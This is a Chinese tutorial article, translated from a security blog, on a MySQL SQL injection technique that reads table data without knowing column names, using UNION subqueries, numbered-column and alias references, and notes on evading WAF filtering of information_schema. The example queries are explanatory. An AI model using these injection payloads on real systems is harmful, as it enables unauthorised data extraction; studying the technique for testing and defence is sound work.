MySQL在不知道列名情况下的注入详解
更新时间：2019年03月23日 10:07:43 作者：Se7en
这篇文章主要给大家介绍了关于MySQL在不知道列名情况下的注入的相关资料，文中通过示例代码介绍的非常详细，对大家学习或者使用mysql具有一定的参考学习价值，需要的朋友们下面来一起学习学习吧
前言
最近感觉脑子空空，全在为了刷洞去挖洞，还是回归技术的本身让自己舒服些。好了，下面话不多说了，来一起看看详细的介绍吧
前提
以下情况适用于 MySQL < 5版本，或者在 MySQL >= 5 的版本[存在information_schema库]，且已获取到库名和表名
① 当只能获取到表名，获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构，即表名、列名等，但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些，因为对我来说，一般遇到waf就放弃了（菜的真实23333）
解决
正常的查询：
以下是正常查询 test 库中的 user 表内容
select * from user;
UNION查询:
select 1,2,3,4 union select * from user;
数字对应列查询：
可以使用数字来对应列来进行查询，如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询：
当反引号 ` 不能使用的时候，可以使用别名来代替，如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合并查询：
同上：这里反引号不能用的话，一样可以使用别名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
仅作翻译以及思路整理
原文链接：https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对脚本之家的支持。
相关文章
这篇文章主要给大家介绍了关于MySQL如何快速批量插入1000w条数据的相关资料，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2021-03-03
这篇文章主要介绍了mysql如何通过当前排序字段获取相邻数据项，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教2022-05-05
DBeaver是免费、开源、通用数据库工具,是许多开发开发人员和数据库管理员的所选,下面这篇文章主要给大家介绍了关于DBeaver连接MySQL的超详细步骤,文中通过图文介绍的非常详细,需要的朋友可以参考下2023-05-05
本文主要介绍了MySQL导入sql文件的三种方法小结，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2023-02-02
这篇文章主要为大家详细介绍了MySQL5.6.22安装配置方法图文教程，具有一定的参考价值，感兴趣的小伙伴们可以参考一下2017-11-11
Mysql中报错函数floor()函数和rand()函数的配合使用及原理详解
在项目中的SQL语句中遇到几个数值处理函数,看着有些懵,就小小的总结一下,这篇文章主要给大家介绍了关于Mysql中报错函数floor()函数和rand()函数的配合使用及原理的相关资料,需要的朋友可以参考下2022-07-07
这篇文章主要介绍了MySQL OOM（内存溢出）的解决思路，文中讲解非常细致，帮助大家在学习工作中解决内存溢出的问题，感兴趣的朋友可以了解下2020-08-08
MySQL学习第三天 Windows 64位操作系统下验证MySQL
MySQL学习第三天教大家如何在Windows 64位操作系统下验证MySQL，感兴趣的小伙伴们可以参考一下2016-05-05
给mysql导入数据，选中某个表选择导入--导入使用本地csv数据即可，单有的时候不知道什么问题导入不成功2014-07-07
MySQL数据库show processlist指令使用解析
这篇文章主要介绍了MySQL数据库show processlist指令使用解析,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下2019-11-11
最新评论